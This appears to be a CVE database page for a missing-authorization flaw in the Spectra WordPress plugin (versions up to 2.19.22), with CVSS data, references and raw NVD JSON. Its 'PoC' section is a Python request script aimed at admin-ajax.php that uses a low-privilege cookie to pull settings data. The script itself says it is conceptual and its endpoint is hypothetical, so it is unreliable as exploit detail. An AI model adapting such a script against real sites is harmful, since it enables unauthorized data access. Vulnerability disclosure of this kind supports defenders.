CVE-2026-42648

Description

Missing Authorization vulnerability in Brainstorm Force Spectra ultimate-addons-for-gutenberg allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Spectra: from n/a through <= 2.19.22.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Spectra <= 2.19.22

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-42648 Proof of Concept (Conceptual)
# Target: WordPress site with Spectra plugin <= 2.19.22

target_url = "http://example.com/wp-admin/admin-ajax.php"
attacker_cookies = {
    "wordpress_logged_in_xxx": "low_privilege_session_cookie"
}

# Payload targeting the vulnerable endpoint (Endpoint name is hypothetical)
payload = {
    "action": "spectra_vulnerable_action", 
    "data": "export_settings"
}

try:
    response = requests.post(target_url, data=payload, cookies=attacker_cookies)
    if response.status_code == 200 and "sensitive_data" in response.text:
        print("[+] Vulnerability confirmed! Data leaked.")
        print(response.text)
    else:
        print("[-] Exploit failed or target not vulnerable.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42648
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42648
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42648/
[4] VulDB https://vuldb.com/cve/CVE-2026-42648
[5] https://patchstack.com/database/Wordpress/Plugin/ultimate-addons-for-gutenberg/vulnerability/wordpress-spectra-plugin-2-19-22-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42648", "sourceIdentifier": "[email protected]", "published": "2026-04-29T12:16:20.067", "lastModified": "2026-04-29T21:15:41.667", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Brainstorm Force Spectra ultimate-addons-for-gutenberg allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Spectra: from n/a through <= 2.19.22."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ultimate-addons-for-gutenberg/vulnerability/wordpress-spectra-plugin-2-19-22-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}